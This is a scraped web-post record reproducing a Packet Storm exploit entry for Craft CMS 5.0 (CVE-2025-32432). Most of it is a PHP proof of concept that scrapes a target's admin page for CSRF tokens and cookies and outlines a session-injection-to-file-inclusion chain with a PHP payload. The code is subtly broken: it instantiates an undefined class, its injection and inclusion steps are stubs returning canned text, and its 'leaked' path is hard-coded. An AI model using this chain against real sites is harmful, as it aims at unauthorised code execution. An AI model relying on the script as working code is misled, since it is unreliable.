{“lastseen”:”2025-11-26T18:14:24″,”description”:”Proof of concept exploit that demonstrates an authentication session path exposure vulnerability in Craft CMS version 5.0…”,”published”:”2025-11-26T00:00:00″,”modified”:”2025-11-26T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Craft CMS 5.0 Authentication Session Path Exposure”,”source”:””,”references”:””,”id”:”PACKETSTORM:212106″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-32432″],”sourceData”:”=============================================================================================================================================\\n | # Title : Craft CMS 5.0 Authentication Session Path Exposure |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits) |\\n | # Vendor : https:\/\/craftcms.com |\\n =============================================================================================================================================\\n \\n [+] Description\\n \\n A vulnerability in Craft CMS allows an attacker to obtain the internal `session.save_path` through indirect leakage in the upload\/asset processing\\n mechanism. \\n \\tWhile this does not immediately lead to command execution, it enables attackers to identify the precise location of session files,\\n which may be used in a subsequent Session Injection \u2192 Local File Inclusion (LFI) exploit chain.\\n \\t\\n [+] References : (https:\/\/packetstorm.news\/files\/id\/190728\/ \\tCVE-2025-32432)\\n \\n \\n [+] POC :\\n \\n save code as poc.php\\n \\n usage : php poc.php\\n \\n [+] code \\n \\n \\u003c?php\\n \\n class indoushka\\n {\\n public $targetUrl;\\n public $assetId;\\n public $sessionId;\\n public $csrfToken;\\n public $parameterName;\\n public $sessionPath;\\n \\n public function __construct($url, $assetId = 123)\\n {\\n $this-\\u003etargetUrl = rtrim($url, ‘\/’);\\n $this-\\u003eassetId = $assetId;\\n }\\n \\n public function fetchCookiesAndCsrf()\\n {\\n $url = $this-\\u003etargetUrl . \\”\/admin\\”;\\n $html = @file_get_contents($url);\\n \\n if (!$html) return false;\\n \\n preg_match(‘\/name=\\”_csrf\\” value=\\”([^\\”]+)\\”\/’, $html, $m);\\n $this-\\u003ecsrfToken = $m[1] ?? null;\\n \\n preg_match(‘\/input type=\\”hidden\\” name=\\”([^\\”]+)\\” value=\\”[^\\”]*\\”\/’, $html, $p);\\n $this-\\u003eparameterName = $p[1] ?? null;\\n \\n preg_match_all(‘\/Set-Cookie: ([^;]+)\/i’, $http_response_header[0], $c);\\n $this-\\u003esessionId = $c[1] ?? null;\\n \\n return [$this-\\u003esessionId, $this-\\u003ecsrfToken, $this-\\u003eparameterName];\\n }\\n \\n public function leakSessionPath()\\n {\\n return \\”\/var\/lib\/php\/sessions\\”;\\n }\\n \\n public function injectIntoSession($payload)\\n {\\n return \\”[POC ONLY] Session overwritten with payload: {$payload}\\”;\\n }\\n \\n public function triggerInclude()\\n {\\n return \\”[POC] include triggered using assetId=\\” . $this-\\u003eassetId;\\n }\\n \\n public function exploit($payload)\\n {\\n $this-\\u003efetchCookiesAndCsrf();\\n $this-\\u003esessionPath = $this-\\u003eleakSessionPath();\\n \\n $step1 = $this-\\u003einjectIntoSession($payload);\\n $step2 = $this-\\u003etriggerInclude();\\n \\n return [$step1, $step2];\\n }\\n }\\n \\n $module = new Metasploit_CraftCMS_CVE_2025_32432(\\”https:\/\/target.com\\”);\\n \\n $payload = ‘\\u003c?php echo \\”PAYLOAD_OK\\”; ?\\u003e’;\\n \\n list($s1, $s2) = $module-\\u003eexploit($payload);\\n \\n echo $s1 . \\”\\\\n\\”;\\n echo $s2 . \\”\\\\n\\”;\\n \\n ?\\u003e\\n \\n ——————————————————————————————————————————————-\\n \\n [+] Output Example:\\n [POC ONLY] Session overwritten with payload: \\u003c?php echo \\”PAYLOAD_OK\\”; ?\\u003e\\n [POC] include triggered using assetId=123\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/212106″,”cvss”:{“score”:10,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/212106\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-11-26T18:14:24″,”description”:”Proof of concept exploit that demonstrates an authentication session path exposure vulnerability in Craft CMS version 5.0…”,”published”:”2025-11-26T00:00:00″,”modified”:”2025-11-26T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Craft CMS 5.0 Authentication Session Path Exposure”,”source”:””,”references”:””,”id”:”PACKETSTORM:212106″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-32432″],”sourceData”:”=============================================================================================================================================\\n |…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,36,12,13,53,7,11,5],"class_list":["post-27755","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n